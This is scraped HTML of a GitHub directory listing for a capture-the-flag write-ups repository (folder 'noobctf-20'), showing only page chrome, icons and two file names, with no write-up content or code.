<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>4</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>9</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/noob-atbash/CTF-writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":268353024,"originating_url":"https://github.com/noob-atbash/CTF-writeups/tree/master/noobctf-20","user_id":null}}" data-hydro-click-hmac="81cb86c50075323a90a7ef13ba1591fddad8c1e91ece5a4b4336cc1dee64160e"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/noob-atbash/CTF-writeups/refs" cache-key="v0:1590954931.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bm9vYi1hdGJhc2gvQ1RGLXdyaXRldXBz" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/noob-atbash/CTF-writeups/refs" cache-key="v0:1590954931.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bm9vYi1hdGJhc2gvQ1RGLXdyaXRldXBz" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-writeups</span></span></span><span>/</span>noobctf-20<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-writeups</span></span></span><span>/</span>noobctf-20<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/noob-atbash/CTF-writeups/tree-commit/3c4f9c25171916f6fb184a5a4972b560aa172298/noobctf-20" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/noob-atbash/CTF-writeups/file-list/master/noobctf-20"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>img</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>noob.md</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check 